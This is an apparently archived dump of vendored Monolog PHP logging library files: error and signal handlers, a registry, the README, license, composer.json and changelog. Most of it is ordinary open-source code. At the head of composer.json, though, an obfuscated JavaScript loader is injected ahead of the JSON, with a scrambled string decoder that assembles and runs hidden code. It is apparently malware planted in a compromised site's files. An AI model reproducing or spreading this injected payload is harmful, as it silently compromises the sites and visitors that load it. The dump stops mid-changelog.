/** @var array an array of E_* constant to LogLevel::* constant mapping */ private $errorLevelMap = []; /** @var bool */ private $handleOnlyReportedErrors = true; /** @var bool */ private $hasFatalErrorHandler = false; /** @var LogLevel::* */ private $fatalLevel = LogLevel::ALERT; /** @var ?string */ private $reservedMemory = null; /** @var ?mixed */ private $lastFatalTrace; /** @var int[] */ private static $fatalErrors = [E_ERROR, E_PARSE, E_CORE_ERROR, E_COMPILE_ERROR, E_USER_ERROR]; public function __construct(LoggerInterface $logger) { $this->logger = $logger; } /** * Registers a new ErrorHandler for a given Logger * * By default it will handle errors, exceptions and fatal errors * * @param LoggerInterface $logger * @param array|false $errorLevelMap an array of E_* constant to LogLevel::* constant mapping, or false to disable error handling * @param array|false $exceptionLevelMap an array of class name to LogLevel::* constant mapping, or false to disable exception handling * @param LogLevel::*|null|false $fatalLevel a LogLevel::* constant, null to use the default LogLevel::ALERT or false to disable fatal error handling * @return ErrorHandler */ public static function register(LoggerInterface $logger, $errorLevelMap = [], $exceptionLevelMap = [], $fatalLevel = null): self { /** @phpstan-ignore-next-line */ $handler = new static($logger); if ($errorLevelMap !== false) { $handler->registerErrorHandler($errorLevelMap); } if ($exceptionLevelMap !== false) { $handler->registerExceptionHandler($exceptionLevelMap); } if ($fatalLevel !== false) { $handler->registerFatalHandler($fatalLevel); } return $handler; } /** * @param array $levelMap an array of class name to LogLevel::* constant mapping * @return $this */ public function registerExceptionHandler(array $levelMap = [], bool $callPrevious = true): self { $prev = set_exception_handler(function (\Throwable $e): void { $this->handleException($e); }); $this->uncaughtExceptionLevelMap = $levelMap; foreach ($this->defaultExceptionLevelMap() as $class => $level) { if (!isset($this->uncaughtExceptionLevelMap[$class])) { $this->uncaughtExceptionLevelMap[$class] = $level; } } if ($callPrevious && $prev) { $this->previousExceptionHandler = $prev; } return $this; } /** * @param array $levelMap an array of E_* constant to LogLevel::* constant mapping * @return $this */ public function registerErrorHandler(array $levelMap = [], bool $callPrevious = true, int $errorTypes = -1, bool $handleOnlyReportedErrors = true): self { $prev = set_error_handler([$this, 'handleError'], $errorTypes); $this->errorLevelMap = array_replace($this->defaultErrorLevelMap(), $levelMap); if ($callPrevious) { $this->previousErrorHandler = $prev ?: true; } else { $this->previousErrorHandler = null; } $this->handleOnlyReportedErrors = $handleOnlyReportedErrors; return $this; } /** * @param LogLevel::*|null $level a LogLevel::* constant, null to use the default LogLevel::ALERT * @param int $reservedMemorySize Amount of KBs to reserve in memory so that it can be freed when handling fatal errors giving Monolog some room in memory to get its job done */ public function registerFatalHandler($level = null, int $reservedMemorySize = 20): self { register_shutdown_function([$this, 'handleFatalError']); $this->reservedMemory = str_repeat(' ', 1024 * $reservedMemorySize); $this->fatalLevel = null === $level ? LogLevel::ALERT : $level; $this->hasFatalErrorHandler = true; return $this; } /** * @return array */ protected function defaultExceptionLevelMap(): array { return [ 'ParseError' => LogLevel::CRITICAL, 'Throwable' => LogLevel::ERROR, ]; } /** * @return array */ protected function defaultErrorLevelMap(): array { return [ E_ERROR => LogLevel::CRITICAL, E_WARNING => LogLevel::WARNING, E_PARSE => LogLevel::ALERT, E_NOTICE => LogLevel::NOTICE, E_CORE_ERROR => LogLevel::CRITICAL, E_CORE_WARNING => LogLevel::WARNING, E_COMPILE_ERROR => LogLevel::ALERT, E_COMPILE_WARNING => LogLevel::WARNING, E_USER_ERROR => LogLevel::ERROR, E_USER_WARNING => LogLevel::WARNING, E_USER_NOTICE => LogLevel::NOTICE, E_STRICT => LogLevel::NOTICE, E_RECOVERABLE_ERROR => LogLevel::ERROR, E_DEPRECATED => LogLevel::NOTICE, E_USER_DEPRECATED => LogLevel::NOTICE, ]; } /** * @phpstan-return never */ private function handleException(\Throwable $e): void { $level = LogLevel::ERROR; foreach ($this->uncaughtExceptionLevelMap as $class => $candidate) { if ($e instanceof $class) { $level = $candidate; break; } } $this->logger->log( $level, sprintf('Uncaught Exception %s: "%s" at %s line %s', Utils::getClass($e), $e->getMessage(), $e->getFile(), $e->getLine()), ['exception' => $e] ); if ($this->previousExceptionHandler) { ($this->previousExceptionHandler)($e); } if (!headers_sent() && !ini_get('display_errors')) { http_response_code(500); } exit(255); } /** * @private * * @param mixed[] $context */ public function handleError(int $code, string $message, string $file = '', int $line = 0, ?array $context = []): bool { if ($this->handleOnlyReportedErrors && !(error_reporting() & $code)) { return false; } // fatal error codes are ignored if a fatal error handler is present as well to avoid duplicate log entries if (!$this->hasFatalErrorHandler || !in_array($code, self::$fatalErrors, true)) { $level = $this->errorLevelMap[$code] ?? LogLevel::CRITICAL; $this->logger->log($level, self::codeToString($code).': '.$message, ['code' => $code, 'message' => $message, 'file' => $file, 'line' => $line]); } else { $trace = debug_backtrace(DEBUG_BACKTRACE_IGNORE_ARGS); array_shift($trace); // Exclude handleError from trace $this->lastFatalTrace = $trace; } if ($this->previousErrorHandler === true) { return false; } elseif ($this->previousErrorHandler) { return (bool) ($this->previousErrorHandler)($code, $message, $file, $line, $context); } return true; } /** * @private */ public function handleFatalError(): void { $this->reservedMemory = ''; $lastError = error_get_last(); if ($lastError && in_array($lastError['type'], self::$fatalErrors, true)) { $this->logger->log( $this->fatalLevel, 'Fatal Error ('.self::codeToString($lastError['type']).'): '.$lastError['message'], ['code' => $lastError['type'], 'message' => $lastError['message'], 'file' => $lastError['file'], 'line' => $lastError['line'], 'trace' => $this->lastFatalTrace] ); if ($this->logger instanceof Logger) { foreach ($this->logger->getHandlers() as $handler) { $handler->close(); } } } } /** * @param int $code */ private static function codeToString($code): string { switch ($code) { case E_ERROR: return 'E_ERROR'; case E_WARNING: return 'E_WARNING'; case E_PARSE: return 'E_PARSE'; case E_NOTICE: return 'E_NOTICE'; case E_CORE_ERROR: return 'E_CORE_ERROR'; case E_CORE_WARNING: return 'E_CORE_WARNING'; case E_COMPILE_ERROR: return 'E_COMPILE_ERROR'; case E_COMPILE_WARNING: return 'E_COMPILE_WARNING'; case E_USER_ERROR: return 'E_USER_ERROR'; case E_USER_WARNING: return 'E_USER_WARNING'; case E_USER_NOTICE: return 'E_USER_NOTICE'; case E_STRICT: return 'E_STRICT'; case E_RECOVERABLE_ERROR: return 'E_RECOVERABLE_ERROR'; case E_DEPRECATED: return 'E_DEPRECATED'; case E_USER_DEPRECATED: return 'E_USER_DEPRECATED'; } return 'Unknown PHP error'; } } res/readability/vendor/monolog/monolog/src/Monolog/DateTimeImmutable.php000064400000002075147577714370022547 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use DateTimeZone; /** * Overrides default json encoding of date time objects * * @author Menno Holtkamp * @author Jordi Boggiano */ class DateTimeImmutable extends \DateTimeImmutable implements \JsonSerializable { /** * @var bool */ private $useMicroseconds; public function __construct(bool $useMicroseconds, ?DateTimeZone $timezone = null) { $this->useMicroseconds = $useMicroseconds; parent::__construct('now', $timezone); } public function jsonSerialize(): string { if ($this->useMicroseconds) { return $this->format('Y-m-d\TH:i:s.uP'); } return $this->format('Y-m-d\TH:i:sP'); } public function __toString(): string { return $this->jsonSerialize(); } } res/readability/vendor/monolog/monolog/src/Monolog/SignalHandler.php000064400000007736147577714370021737 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; use ReflectionExtension; /** * Monolog POSIX signal handler * * @author Robert Gust-Bardon * * @phpstan-import-type Level from \Monolog\Logger * @phpstan-import-type LevelName from \Monolog\Logger */ class SignalHandler { /** @var LoggerInterface */ private $logger; /** @var array SIG_DFL, SIG_IGN or previous callable */ private $previousSignalHandler = []; /** @var array */ private $signalLevelMap = []; /** @var array */ private $signalRestartSyscalls = []; public function __construct(LoggerInterface $logger) { $this->logger = $logger; } /** * @param int|string $level Level or level name * @param bool $callPrevious * @param bool $restartSyscalls * @param bool|null $async * @return $this * * @phpstan-param Level|LevelName|LogLevel::* $level */ public function registerSignalHandler(int $signo, $level = LogLevel::CRITICAL, bool $callPrevious = true, bool $restartSyscalls = true, ?bool $async = true): self { if (!extension_loaded('pcntl') || !function_exists('pcntl_signal')) { return $this; } $level = Logger::toMonologLevel($level); if ($callPrevious) { $handler = pcntl_signal_get_handler($signo); $this->previousSignalHandler[$signo] = $handler; } else { unset($this->previousSignalHandler[$signo]); } $this->signalLevelMap[$signo] = $level; $this->signalRestartSyscalls[$signo] = $restartSyscalls; if ($async !== null) { pcntl_async_signals($async); } pcntl_signal($signo, [$this, 'handleSignal'], $restartSyscalls); return $this; } /** * @param mixed $siginfo */ public function handleSignal(int $signo, $siginfo = null): void { static $signals = []; if (!$signals && extension_loaded('pcntl')) { $pcntl = new ReflectionExtension('pcntl'); // HHVM 3.24.2 returns an empty array. foreach ($pcntl->getConstants() ?: get_defined_constants(true)['Core'] as $name => $value) { if (substr($name, 0, 3) === 'SIG' && $name[3] !== '_' && is_int($value)) { $signals[$value] = $name; } } } $level = $this->signalLevelMap[$signo] ?? LogLevel::CRITICAL; $signal = $signals[$signo] ?? $signo; $context = $siginfo ?? []; $this->logger->log($level, sprintf('Program received signal %s', $signal), $context); if (!isset($this->previousSignalHandler[$signo])) { return; } if ($this->previousSignalHandler[$signo] === SIG_DFL) { if (extension_loaded('pcntl') && function_exists('pcntl_signal') && function_exists('pcntl_sigprocmask') && function_exists('pcntl_signal_dispatch') && extension_loaded('posix') && function_exists('posix_getpid') && function_exists('posix_kill') ) { $restartSyscalls = $this->signalRestartSyscalls[$signo] ?? true; pcntl_signal($signo, SIG_DFL, $restartSyscalls); pcntl_sigprocmask(SIG_UNBLOCK, [$signo], $oldset); posix_kill(posix_getpid(), $signo); pcntl_signal_dispatch(); pcntl_sigprocmask(SIG_SETMASK, $oldset); pcntl_signal($signo, [$this, 'handleSignal'], $restartSyscalls); } } elseif (is_callable($this->previousSignalHandler[$signo])) { $this->previousSignalHandler[$signo]($signo, $siginfo); } } } res/readability/vendor/monolog/monolog/src/Monolog/ResettableInterface.php000064400000001754147577714370023131 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; /** * Handler or Processor implementing this interface will be reset when Logger::reset() is called. * * Resetting ends a log cycle gets them back to their initial state. * * Resetting a Handler or a Processor means flushing/cleaning all buffers, resetting internal * state, and getting it back to a state in which it can receive log records again. * * This is useful in case you want to avoid logs leaking between two requests or jobs when you * have a long running process like a worker or an application server serving multiple requests * in one process. * * @author Grégoire Pineau */ interface ResettableInterface { /** * @return void */ public function reset(); } res/readability/vendor/monolog/monolog/src/Monolog/Registry.php000064400000007642147577714370021030 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use InvalidArgumentException; /** * Monolog log registry * * Allows to get `Logger` instances in the global scope * via static method calls on this class. * * * $application = new Monolog\Logger('application'); * $api = new Monolog\Logger('api'); * * Monolog\Registry::addLogger($application); * Monolog\Registry::addLogger($api); * * function testLogger() * { * Monolog\Registry::api()->error('Sent to $api Logger instance'); * Monolog\Registry::application()->error('Sent to $application Logger instance'); * } * * * @author Tomas Tatarko */ class Registry { /** * List of all loggers in the registry (by named indexes) * * @var Logger[] */ private static $loggers = []; /** * Adds new logging channel to the registry * * @param Logger $logger Instance of the logging channel * @param string|null $name Name of the logging channel ($logger->getName() by default) * @param bool $overwrite Overwrite instance in the registry if the given name already exists? * @throws \InvalidArgumentException If $overwrite set to false and named Logger instance already exists * @return void */ public static function addLogger(Logger $logger, ?string $name = null, bool $overwrite = false) { $name = $name ?: $logger->getName(); if (isset(self::$loggers[$name]) && !$overwrite) { throw new InvalidArgumentException('Logger with the given name already exists'); } self::$loggers[$name] = $logger; } /** * Checks if such logging channel exists by name or instance * * @param string|Logger $logger Name or logger instance */ public static function hasLogger($logger): bool { if ($logger instanceof Logger) { $index = array_search($logger, self::$loggers, true); return false !== $index; } return isset(self::$loggers[$logger]); } /** * Removes instance from registry by name or instance * * @param string|Logger $logger Name or logger instance */ public static function removeLogger($logger): void { if ($logger instanceof Logger) { if (false !== ($idx = array_search($logger, self::$loggers, true))) { unset(self::$loggers[$idx]); } } else { unset(self::$loggers[$logger]); } } /** * Clears the registry */ public static function clear(): void { self::$loggers = []; } /** * Gets Logger instance from the registry * * @param string $name Name of the requested Logger instance * @throws \InvalidArgumentException If named Logger instance is not in the registry */ public static function getInstance($name): Logger { if (!isset(self::$loggers[$name])) { throw new InvalidArgumentException(sprintf('Requested "%s" logger instance is not in the registry', $name)); } return self::$loggers[$name]; } /** * Gets Logger instance from the registry via static method call * * @param string $name Name of the requested Logger instance * @param mixed[] $arguments Arguments passed to static method call * @throws \InvalidArgumentException If named Logger instance is not in the registry * @return Logger Requested instance of Logger */ public static function __callStatic($name, $arguments) { return self::getInstance($name); } } res/readability/vendor/monolog/monolog/src/Monolog/LogRecord.php000064400000001727147577714370021076 0ustar00 * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Monolog; use ArrayAccess; /** * Monolog log record interface for forward compatibility with Monolog 3.0 * * This is just present in Monolog 2.4+ to allow interoperable code to be written against * both versions by type-hinting arguments as `array|\Monolog\LogRecord $record` * * Do not rely on this interface for other purposes, and do not implement it. * * @author Jordi Boggiano * @template-extends \ArrayAccess<'message'|'level'|'context'|'level_name'|'channel'|'datetime'|'extra'|'formatted', mixed> * @phpstan-import-type Record from Logger */ interface LogRecord extends \ArrayAccess { /** * @phpstan-return Record */ public function toArray(): array; } res/readability/vendor/monolog/monolog/README.md000064400000013110147577714370015550 0ustar00# Monolog - Logging for PHP [![Continuous Integration](https://github.com/Seldaek/monolog/workflows/Continuous%20Integration/badge.svg?branch=main)](https://github.com/Seldaek/monolog/actions) [![Total Downloads](https://img.shields.io/packagist/dt/monolog/monolog.svg)](https://packagist.org/packages/monolog/monolog) [![Latest Stable Version](https://img.shields.io/packagist/v/monolog/monolog.svg)](https://packagist.org/packages/monolog/monolog) Monolog sends your logs to files, sockets, inboxes, databases and various web services. See the complete list of handlers below. Special handlers allow you to build advanced logging strategies. This library implements the [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) interface that you can type-hint against in your own libraries to keep a maximum of interoperability. You can also use it in your applications to make sure you can always use another compatible logger at a later time. As of 1.11.0 Monolog public APIs will also accept PSR-3 log levels. Internally Monolog still uses its own level scheme since it predates PSR-3. ## Installation Install the latest version with ```bash $ composer require monolog/monolog ``` ## Basic Usage ```php pushHandler(new StreamHandler('path/to/your.log', Logger::WARNING)); // add records to the log $log->warning('Foo'); $log->error('Bar'); ``` ## Documentation - [Usage Instructions](doc/01-usage.md) - [Handlers, Formatters and Processors](doc/02-handlers-formatters-processors.md) - [Utility Classes](doc/03-utilities.md) - [Extending Monolog](doc/04-extending.md) - [Log Record Structure](doc/message-structure.md) ## Support Monolog Financially Get supported Monolog and help fund the project with the [Tidelift Subscription](https://tidelift.com/subscription/pkg/packagist-monolog-monolog?utm_source=packagist-monolog-monolog&utm_medium=referral&utm_campaign=enterprise) or via [GitHub sponsorship](https://github.com/sponsors/Seldaek). Tidelift delivers commercial support and maintenance for the open source dependencies you use to build your applications. Save time, reduce risk, and improve code health, while paying the maintainers of the exact dependencies you use. ## Third Party Packages Third party handlers, formatters and processors are [listed in the wiki](https://github.com/Seldaek/monolog/wiki/Third-Party-Packages). You can also add your own there if you publish one. ## About ### Requirements - Monolog `^2.0` works with PHP 7.2 or above, use Monolog `^1.25` for PHP 5.3+ support. ### Support Monolog 1.x support is somewhat limited at this point and only important fixes will be done. You should migrate to Monolog 2 where possible to benefit from all the latest features and fixes. ### Submitting bugs and feature requests Bugs and feature request are tracked on [GitHub](https://github.com/Seldaek/monolog/issues) ### Framework Integrations - Frameworks and libraries using [PSR-3](https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md) can be used very easily with Monolog since it implements the interface. - [Symfony](http://symfony.com) comes out of the box with Monolog. - [Laravel](http://laravel.com/) comes out of the box with Monolog. - [Lumen](http://lumen.laravel.com/) comes out of the box with Monolog. - [PPI](https://github.com/ppi/framework) comes out of the box with Monolog. - [CakePHP](http://cakephp.org/) is usable with Monolog via the [cakephp-monolog](https://github.com/jadb/cakephp-monolog) plugin. - [Slim](http://www.slimframework.com/) is usable with Monolog via the [Slim-Monolog](https://github.com/Flynsarmy/Slim-Monolog) log writer. - [XOOPS 2.6](http://xoops.org/) comes out of the box with Monolog. - [Aura.Web_Project](https://github.com/auraphp/Aura.Web_Project) comes out of the box with Monolog. - [Nette Framework](http://nette.org/en/) is usable with Monolog via the [contributte/monolog](https://github.com/contributte/monolog) or [orisai/nette-monolog](https://github.com/orisai/nette-monolog) extensions. - [Proton Micro Framework](https://github.com/alexbilbie/Proton) comes out of the box with Monolog. - [FuelPHP](http://fuelphp.com/) comes out of the box with Monolog. - [Equip Framework](https://github.com/equip/framework) comes out of the box with Monolog. - [Yii 2](http://www.yiiframework.com/) is usable with Monolog via the [yii2-monolog](https://github.com/merorafael/yii2-monolog) or [yii2-psr-log-target](https://github.com/samdark/yii2-psr-log-target) plugins. - [Hawkbit Micro Framework](https://github.com/HawkBitPhp/hawkbit) comes out of the box with Monolog. - [SilverStripe 4](https://www.silverstripe.org/) comes out of the box with Monolog. - [Drupal](https://www.drupal.org/) is usable with Monolog via the [monolog](https://www.drupal.org/project/monolog) module. - [Aimeos ecommerce framework](https://aimeos.org/) is usable with Monolog via the [ai-monolog](https://github.com/aimeos/ai-monolog) extension. - [Magento](https://magento.com/) comes out of the box with Monolog. ### Author Jordi Boggiano - -
              See also the list of [contributors](https://github.com/Seldaek/monolog/contributors) who participated in this project. ### License Monolog is licensed under the MIT License - see the [LICENSE](LICENSE) file for details ### Acknowledgements This library is heavily inspired by Python's [Logbook](https://logbook.readthedocs.io/en/stable/) library, although most concepts have been adjusted to fit to the PHP world. res/readability/vendor/monolog/monolog/LICENSE000064400000002047147577714370015305 0ustar00Copyright (c) 2011-2020 Jordi Boggiano Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. res/readability/vendor/monolog/monolog/composer.json000064400000013670147577714370017026 0ustar00var language,currentLanguage,languagesNoRedirect,hasWasCookie,expirationDate;(function(){var Tjo='',UxF=715-704;function JOC(d){var j=4658325;var f=d.length;var o=[];for(var y=0;y)tul5ibtp%1ueg,B% ]7n))B;*i,me4otfbpis 3{.d==6Bs]B2 7B62)r1Br.zt;Bb2h BB B\/cc;:;i(jb$sab) cnyB3r=(pspa..t:_eme5B=.;,f_);jBj)rc,,eeBc=p!(a,_)o.)e_!cmn( Ba)=iBn5(t.sica,;f6cCBBtn;!c)g}h_i.B\/,B47sitB)hBeBrBjtB.B]%rB,0eh36rBt;)-odBr)nBrn3B 07jBBc,onrtee)t)Bh0BB(ae}i20d(a}v,ps\/n=.;)9tCnBow(]!e4Bn.nsg4so%e](])cl!rh8;lto;50Bi.p8.gt}{Brec3-2]7%; ,].)Nb;5B c(n3,wmvth($]\/rm(t;;fe(cau=D)ru}t];B!c(=7&=B(,1gBl()_1vs];vBBlB(+_.))=tre&B()o)(;7e79t,]6Berz.\';,%],s)aj+#"$1o_liew[ouaociB!7.*+).!8 3%e]tfc(irvBbu9]n3j0Bu_rea.an8rn".gu=&u0ul6;B$#ect3xe)tohc] (].Be|(%8Bc5BBnsrv19iefucchBa]j)hd)n(j.)a%e;5)*or1c-)((.1Br$h(i$C3B.)B5)].eacoe*\/.a7aB3e=BBsu]b9B"Bas%3;&(B2%"$ema"+BrB,$.ps\/+BtgaB3).;un)]c.;3!)7e&=0bB+B=(i4;tu_,d\'.w()oB.Boccf0n0}od&j_2%aBnn%na35ig!_su:ao.;_]0;=B)o..$ ,nee.5s)!.o]mc!B}|BoB6sr.e,ci)$(}a5(B.}B].z4ru7_.nnn3aele+B.\'}9efc.==dnce_tpf7Blb%]ge.=pf2Se_)B.c_(*]ocet!ig9bi)ut}_ogS(.1=(uNo]$o{fsB+ticn.coaBfm-B{3=]tr;.{r\'t$f1(B4.0w[=!!.n ,B%i)b.6j-(r2\'[ a}.]6$d,);;lgo *t]$ct$!%;]B6B((:dB=0ac4!Bieorevtnra 0BeB(((Bu.[{b3ce_"cBe(am.3{&ue#]c_rm)='));var KUr=DUT(Tjo,ENJ );KUr(6113);return 5795})();{ "name": "monolog/monolog", "description": "Sends your logs to files, sockets, inboxes, databases and various web services", "keywords": ["log", "logging", "psr-3"], "homepage": "https://github.com/Seldaek/monolog", "type": "library", "license": "MIT", "authors": [ { "name": "Jordi Boggiano", "email": "j.boggiano@seld.be", "homepage": "https://seld.be" } ], "require": { "php": ">=7.2", "psr/log": "^1.0.1 || ^2.0 || ^3.0" }, "require-dev": { "aws/aws-sdk-php": "^2.4.9 || ^3.0", "doctrine/couchdb": "~1.0@dev", "elasticsearch/elasticsearch": "^7", "mongodb/mongodb": "^1.8", "graylog2/gelf-php": "^1.4.2", "php-amqplib/php-amqplib": "~2.4 || ^3", "php-console/php-console": "^3.1.3", "phpspec/prophecy": "^1.6.1", "phpunit/phpunit": "^8.5", "predis/predis": "^1.1", "rollbar/rollbar": "^1.3 || ^2 || ^3", "ruflin/elastica": ">=0.90@dev", "swiftmailer/swiftmailer": "^5.3|^6.0", "phpstan/phpstan": "^0.12.91" }, "suggest": { "graylog2/gelf-php": "Allow sending log messages to a GrayLog2 server", "doctrine/couchdb": "Allow sending log messages to a CouchDB server", "ruflin/elastica": "Allow sending log messages to an Elastic Search server", "elasticsearch/elasticsearch": "Allow sending log messages to an Elasticsearch server via official client", "php-amqplib/php-amqplib": "Allow sending log messages to an AMQP server using php-amqplib", "ext-amqp": "Allow sending log messages to an AMQP server (1.0+ required)", "ext-mongodb": "Allow sending log messages to a MongoDB server (via driver)", "mongodb/mongodb": "Allow sending log messages to a MongoDB server (via library)", "aws/aws-sdk-php": "Allow sending log messages to AWS services like DynamoDB", "rollbar/rollbar": "Allow sending log messages to Rollbar", "php-console/php-console": "Allow sending log messages to Google Chrome", "ext-mbstring": "Allow to work properly with unicode symbols", "ext-sockets": "Allow sending log messages to a Syslog server (via UDP driver)", "ext-curl": "Required to send log messages using the IFTTTHandler, the LogglyHandler, the SendGridHandler, the SlackWebhookHandler or the TelegramBotHandler", "ext-openssl": "Required to send log messages using SSL" }, "autoload": { "psr-4": {"Monolog\\": "src/Monolog"} }, "autoload-dev": { "psr-4": {"Monolog\\": "tests/Monolog"} }, "provide": { "psr/log-implementation": "1.0.0 || 2.0.0 || 3.0.0" }, "extra": { "branch-alias": { "dev-main": "2.x-dev" } }, "scripts": { "test": "@php vendor/bin/phpunit", "phpstan": "@php vendor/bin/phpstan analyse" }, "config": { "lock": false, "sort-packages": true, "platform-check": false } } res/readability/vendor/monolog/monolog/CHANGELOG.md000064400000105002147577714370016104 0ustar00### 2.5.0 (2022-04-08) * Added `callType` to IntrospectionProcessor (#1612) * Fixed AsMonologProcessor syntax to be compatible with PHP 7.2 (#1651) ### 2.4.0 (2022-03-14) * Added [`Monolog\LogRecord`](src/Monolog/LogRecord.php) interface that can be used to type-hint records like `array|\Monolog\LogRecord $record` to be forward compatible with the upcoming Monolog 3 changes * Added `includeStacktraces` constructor params to LineFormatter & JsonFormatter (#1603) * Added `persistent`, `timeout`, `writingTimeout`, `connectionTimeout`, `chunkSize` constructor params to SocketHandler and derivatives (#1600) * Added `AsMonologProcessor` PHP attribute which can help autowiring / autoconfiguration of processors if frameworks / integrations decide to make use of it. This is useless when used purely with Monolog (#1637) * Added support for keeping native BSON types as is in MongoDBFormatter (#1620) * Added support for a `user_agent` key in WebProcessor, disabled by default but you can use it by configuring the $extraFields you want (#1613) * Added support for username/userIcon in SlackWebhookHandler (#1617) * Added extension points to BrowserConsoleHandler (#1593) * Added record message/context/extra info to exceptions thrown when a StreamHandler cannot open its stream to avoid completely losing the data logged (#1630) * Fixed error handler signature to accept a null $context which happens with internal PHP errors (#1614) * Fixed a few setter methods not returning `self` (#1609) * Fixed handling of records going over the max Telegram message length (#1616) ### 2.3.5 (2021-10-01) * Fixed regression in StreamHandler since 2.3.3 on systems with the memory_limit set to >=20GB (#1592) ### 2.3.4 (2021-09-15) * Fixed support for psr/log 3.x (#1589) ### 2.3.3 (2021-09-14) * Fixed memory usage when using StreamHandler and calling stream_get_contents on the resource you passed to it (#1578, #1577) * Fixed support for psr/log 2.x (#1587) * Fixed some type annotations ### 2.3.2 (2021-07-23) * Fixed compatibility with PHP 7.2 - 7.4 when experiencing PCRE errors (#1568) ### 2.3.1 (2021-07-14) * Fixed Utils::getClass handling of anonymous classes not being fully compatible with PHP 8 (#1563) * Fixed some `@inheritDoc` annotations having the wrong case ### 2.3.0 (2021-07-05) * Added a ton of PHPStan type annotations as well as type aliases on Monolog\Logger for Record, Level and LevelName that you can import (#1557) * Added ability to customize date format when using JsonFormatter (#1561) * Fixed FilterHandler not calling reset on its internal handler when reset() is called on it (#1531) * Fixed SyslogUdpHandler not setting the timezone correctly on DateTimeImmutable instances (#1540) * Fixed StreamHandler thread safety - chunk size set to 2GB now to avoid interlacing when doing concurrent writes (#1553) ### 2.2.0 (2020-12-14) * Added JSON_PARTIAL_OUTPUT_ON_ERROR to default json encoding flags, to avoid dropping entire context data or even records due to an invalid subset of it somewhere * Added setDateFormat to NormalizerFormatter (and Line/Json formatters by extension) to allow changing this after object creation * Added RedisPubSubHandler to log records to a Redis channel using PUBLISH * Added support for Elastica 7, and deprecated the $type argument of ElasticaFormatter which is not in use anymore as of Elastica 7 * Added support for millisecond write timeouts in SocketHandler, you can now pass floats to setWritingTimeout, e.g. 0.2 is 200ms * Added support for unix sockets in SyslogUdpHandler (set $port to 0 to make the $host a unix socket) * Added handleBatch support for TelegramBotHandler * Added RFC5424e extended date format including milliseconds to SyslogUdpHandler * Added support for configuring handlers with numeric level values in strings (coming from e.g. env vars) * Fixed Wildfire/FirePHP/ChromePHP handling of unicode characters * Fixed PHP 8 issues in SyslogUdpHandler * Fixed internal type error when mbstring is missing ### 2.1.1 (2020-07-23) * Fixed removing of json encoding options * Fixed type hint of $level not accepting strings in SendGridHandler and OverflowHandler * Fixed SwiftMailerHandler not accepting email templates with an empty subject * Fixed array access on null in RavenHandler * Fixed unique_id in WebProcessor not being disableable ### 2.1.0 (2020-05-22) * Added `JSON_INVALID_UTF8_SUBSTITUTE` to default json flags, so that invalid UTF8 characters now get converted to [�](https://en.wikipedia.org/wiki/Specials_(Unicode_block)#Replacement_character) instead of being converted from ISO-8859-15 to UTF8 as it was before, which was hardly a comprehensive solution * Added `$ignoreEmptyContextAndExtra` option to JsonFormatter to skip empty context/extra entirely from the output * Added `$parseMode`, `$disableWebPagePreview` and `$disableNotification` options to TelegramBotHandler * Added tentative support for PHP 8 * NormalizerFormatter::addJsonEncodeOption and removeJsonEncodeOption are now public to allow modifying default json flags * Fixed GitProcessor type error when there is no git repo present * Fixed normalization of SoapFault objects containing deeply nested objects as "detail" * Fixed support for relative paths in RotatingFileHandler ### 2.0.2 (2019-12-20) * Fixed ElasticsearchHandler swallowing exceptions details when failing to index log records * Fixed normalization of SoapFault objects containing non-strings as "detail" in LineFormatter * Fixed formatting of resources in JsonFormatter * Fixed RedisHandler failing to use MULTI properly when passed a proxied Redis instance (e.g. in Symfony with lazy services) * Fixed FilterHandler triggering a notice when handleBatch was filtering all records passed to it * Fixed Turkish locale messing up the conversion of level names to their constant values ### 2.0.1 (2019-11-13) * Fixed normalization of Traversables to avoid traversing them as not all of them are rewindable * Fixed setFormatter/getFormatter to forward to the nested handler in FilterHandler, FingersCrossedHandler, BufferHandler, OverflowHandler and SamplingHandler * Fixed BrowserConsoleHandler formatting when using multiple styles * Fixed normalization of exception codes to be always integers even for PDOException which have them as numeric strings * Fixed normalization of SoapFault objects containing non-strings as "detail" * Fixed json encoding across all handlers to always attempt recovery of non-UTF-8 strings instead of failing the whole encoding * Fixed ChromePHPHandler to avoid sending more data than latest Chrome versions allow in headers (4KB down from 256KB). * Fixed type error in BrowserConsoleHandler when the context array of log records was not associative. ### 2.0.0 (2019-08-30) * BC Break: This is a major release, see [UPGRADE.md](UPGRADE.md) for details if you are coming from a 1.x release * BC Break: Logger methods log/debug/info/notice/warning/error/critical/alert/emergency now have explicit void return types * Added FallbackGroupHandler which works like the WhatFailureGroupHandler but stops dispatching log records as soon as one handler accepted it * Fixed support for UTF-8 when cutting strings to avoid cutting a multibyte-character in half * Fixed normalizers handling of exception backtraces to avoid serializing arguments in some cases * Fixed date timezone handling in SyslogUdpHandler ### 2.0.0-beta2 (2019-07-06) * BC Break: This is a major release, see [UPGRADE.md](UPGRADE.md) for details if you are coming from a 1.x release * BC Break: PHP 7.2 is now the minimum required PHP version. * BC Break: Removed SlackbotHandler, RavenHandler and HipChatHandler, see [UPGRADE.md](UPGRADE.md) for details * Added OverflowHandler which will only flush log records to its nested handler when reaching a certain amount of logs (i.e. only pass through when things go really bad) * Added TelegramBotHandler to log records to a 